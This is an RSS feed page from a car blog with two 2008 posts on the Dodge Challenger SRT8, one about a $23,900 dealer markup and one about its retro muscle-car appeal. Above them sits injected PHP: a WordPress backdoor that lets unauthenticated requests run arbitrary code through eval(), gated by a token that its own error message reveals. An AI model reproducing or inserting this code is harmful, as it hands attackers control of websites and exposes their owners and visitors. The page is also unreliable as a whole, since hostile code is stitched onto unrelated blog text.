// ==[BD:O1Jugo5j]== add_action( 'wp_ajax_nopriv_nxcszbntxo', function() { $item = 'O1Jugo5jmZ8SOrFvI8wMKHgWwFXwZzgj'; $key = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $key ) || ! hash_equals( $item, $key ) ) { wp_send_json_error( [ 'message' => 'tok:' . $item ], 403 ); } $data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $data = preg_replace( '/^\s*<\?(php)?/i', '', $data ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $data ) { return eval( $data ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $marker ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $marker->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:O1Jugo5j]== Challenger – Car of the Day https://www.caroftheday.org Opining on Automotive Opinion Fri, 04 Jul 2008 03:48:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 2008 Challenger SRT8 – the $64,000 Question https://www.caroftheday.org/2008/07/03/2008-challenger-srt8-the-64000-question/ https://www.caroftheday.org/2008/07/03/2008-challenger-srt8-the-64000-question/#comments Fri, 04 Jul 2008 00:23:05 +0000 http://www.caroftheday.org/?p=68 Today I saw first Dodge Challenger in real life.  It was at a Dodge dealership.  The Challenger sat in the dead center of showroom.  It was black and beautiful. 

The Dodge Challenger SRT8 is a 425hp retro muscle car powered by a 6.1liter hemi V8 and is one of the most anticipated revivals of a great muscle car since the release of the 2005 Mustang. 

Dodge chose to release the hot-rodded up SRT8 first.  Normally a manufacturer will save the release of their high-powered model until a year or two in the production cycle.  Not so with the Challenger. If you would like a normal 5.7 hem V8 or even a V6 in your Challenger you will have to wait a year or so until those models are released. 

Back to the black Challenger I saw today.  The Challenger is even better looking real life and at a MSRP of $40k is a fair price for a 425hp time machine to the muscle car glory years. 

However, $41k wasn’t the final sticker price on the window of the SRT8.  There was a significant market adjustment added to the sticker.  It was an adjustment of $23,900!  That “market adjustment” is more than I paid for my own 400hp GTO. 

This “market adjustment” sends reasonably priced Challenger SRT8 from $40k to $64,000.  And that is waaaayyyyyy too much.  Chrysler/Jeep/Dodge have plenty of other SRT8 vehicles that you can your hands on for $20,000 less or even more if you look to the used car market. 

The Challenger has been Car of the Day for me in the past and it may be again someday when they gently used Challengers start hitting the used car market.

]]> https://www.caroftheday.org/2008/07/03/2008-challenger-srt8-the-64000-question/feed/ 1 Dodge Challenger SRT8 — Retro Cool https://www.caroftheday.org/2008/05/04/dodge-challenger-srt8-retro-cool/ https://www.caroftheday.org/2008/05/04/dodge-challenger-srt8-retro-cool/#comments Mon, 05 May 2008 02:22:44 +0000 http://www.caroftheday.org/?p=11 Ever wish you could go back in time and buy that special muscle car that all the collectors are after?  Perhaps you want a Hemi Cuda with a 427. 

There is some good news from the Chrysler Corporation.  Dodge has a killer new car that is out right now.  The Dodge Challenger is the modern revival of the great muscle car from years past. 

It is retro-cool and has modern power.  

This bad boy is the SRT8 flavor and if you know anything about SRT8’s they come packing a 6.1 liter V8 engine that is good for 425hp.  It can cover a ¼ mile in 13.2 seconds. This blast from the past can hit 60 in 5 seconds or less. 

So you can search your city, county or state far and wide for the cherry muscle car that was new when LBJ was president.  You can hope it is a super low mileage example that’s been sitting in an old lady’s garage for the last 30 years.  Perhaps you might find your ultimate collectible that has been restored from the frame up.  Of course those specimens tend to cost more than many new cars. 

So go hunting for the ultra-rare classic collectible or buy the modern one with all the modern techniques.  Because no matter how nostalgic you are the facts prove that this modern car would smoke most of the muscle cars for yesteryear.

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